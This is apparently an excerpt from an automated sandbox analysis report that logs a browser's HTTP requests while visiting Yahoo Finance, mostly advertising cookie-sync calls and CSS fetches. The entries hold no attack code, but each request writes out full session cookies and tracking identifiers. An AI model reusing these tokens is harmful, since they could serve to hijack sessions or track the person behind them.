Source: global traffic	HTTP traffic detected: GET /ups/58292/sync?_origin=1&uid=176682A8-E121-44A7-818D-4FE53D542BB2&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; IDSYNC="19ac~2kzt:19aj~2kzt:19bn~2kzt:19bu~2kzt:19cu~2kzt:19cw~2kzt:19e0~2kzt:19ea~2kzt"
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/SkeletonLoader.YZvit63q.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=07c89b85-4c1c-424d-8df0-0123ed6cebb6&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; KTPCACOOKIE=YES; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3; KRTBCOOKIE_57=22776-7992184014990425658&KRTB&23339-7992184014990425658; PugT=1727716887
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=gumgum_dbm&google_hm=ZV81YTg2N2M3OC1kOTBkLTRkZjgtYjhmZi1lMDQxZDBkYzJlMjI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUSFwoIcHVibWF0aWMSCwiykPGYy9-wPRAFGAEgASgCMgsI3Ib0xeHfsD0QBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?sec=1&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY} HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3; KRTBCOOKIE_57=22776-7992184014990425658&KRTB&23339-7992184014990425658; PugT=1727716887
Source: global traffic	HTTP traffic detected: GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=RGs3E-BNKWUM9-E0Yk6nUq1ov1cuPZyw51dkSNWtWVZE2TtKD2t0w8nihOlT-IcCBZ6eN6XF0B7WUcdB-B2J9u_noxx1687OtyCpmDgTn8Y.; receive-cookie-deprecation=1; uuid2=7992184014990425658
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/SectionHeader.B9ETuNQk.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/SectorListings.C2wY7ASd.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=conversant&uid=AQAJ-JBLklcgHwJ-ptiSAQEBAQEBAQCTQvKIRgEBAJNC8ohG&expiration=1727803286&gpp_sid=-1&gpp=DBAA&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; uids=eyJ0ZW1wVUlEcyI6eyJpeCI6eyJ1aWQiOiJadnJlRU5ITTZJNEFBQXlxQURvMmt3QUFBX0lBQUFJQiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjIyLjQxMDIyNTg2NFoifSwidHRkIjp7InVpZCI6IjA3Yzg5Yjg1LTRjMWMtNDI0ZC04ZGYwLTAxMjNlZDZjZWJiNiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjI2Ljg4OTIwNTA0M1oifX19
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/loadIndustry.Bf7GWgL8.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /sync?ssp=xapads&user_id=A2240589183930881574&us_privacy=1YNN HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ
Source: global traffic	HTTP traffic detected: GET /aux/idsync?proto=gumgum HTTP/1.1Host: tg.socdm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=pubmatic&gdpr=-1&gdpr_consent=&tc=1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: g=WMYgf9Wm2L4xQIxLufYh_1727716888099; ts=1727716888
Source: global traffic	HTTP traffic detected: GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=07c89b85-4c1c-424d-8df0-0123ed6cebb6&ttd_puid=89da3b4d-4019-3a17-5e17-79a012d51d47&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK; univ_id=537072971\|07c89b85-4c1c-424d-8df0-0123ed6cebb6\|1727716886210126
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2662&xuid=y-B5gCAc9E2oTPbKbUs8YZwFQXu8mxBgMirWK046Y6SQ--~A&dongle=0883 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3811239664715375770435; tluidp=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/GradientScale.BwfNrsj8.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; 